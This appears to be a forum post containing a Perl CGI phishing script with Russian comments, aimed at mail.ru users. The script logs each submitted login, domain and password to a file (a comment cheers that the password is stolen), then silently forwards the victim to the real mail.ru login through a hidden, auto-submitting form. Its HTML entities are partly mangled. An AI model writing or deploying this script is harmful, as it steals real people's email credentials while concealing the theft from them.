<meta name="generator" content="vBulletin 3.0.3" /> 

sub parse_form {
if ($ENV{REQUEST_METHOD} eq "POST") {$mode = 0}
if ($ENV{REQUEST_METHOD} eq "GET") {$mode = 1}
if ($mode == 0) {read(STDIN, $buffer, $ENV{CONTENT_LENGTH})}
if ($mode == 1) {$buffer = $ENV{QUERY_STRING}}
@pairs = split(/ /, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}
}

#!/usr/bin/perl -w
 parse_form;
# открываем файл log.txt для добавления инфы
open LOG," gt; gt;../log.txt";
# записываем туда логин и пароль от ящика
print LOG "$FORM{Login} @ $FORM{Domain}, pass:$FORM{Password}\n";
# закрываем файл
close LOG;
# все, пароль сперт!
# теперь перекидываем на mail.ru:
print "Content-Type: text/html\n\n";
print " lt;HTML gt; lt;BODY gt;\n";
# создаем ту же форму, что и на настоящем mail.ru
print " lt;form name=\"Auth\" method=post action=http://win.mail.ru/cgi-bin/auth gt;\n";
print " lt;input type=hidden name=Mpopl value=1892134183 gt;\n";
print " lt;input type=hidden name=login_from value=titul gt;\n";
print " lt;input type=hidden name=\"level\" value=1 gt;\n";
print " lt;input type=hidden name=\"Login\" value=\"$FORM{Login}\" gt;\n";
print " lt;input type=hidden name=\"Password\" value=\"$FORM{Password}\" gt;\n";
print " lt;input type=hidden name=\"Domain\" value=\"$FORM{Domain}\" gt;\n";
print " lt;input TYPE=hidden name=\"\" value=\"Войти\" gt;\n";
# без участия пользователя жмем на невидимую кнопку submit =)
print " lt;script language=jаvаscriрt gt;Auth.submit() lt;/script gt;\n";
print " lt;/form gt;\n";
print " lt;/BODY gt; lt;/HTML gt;\n";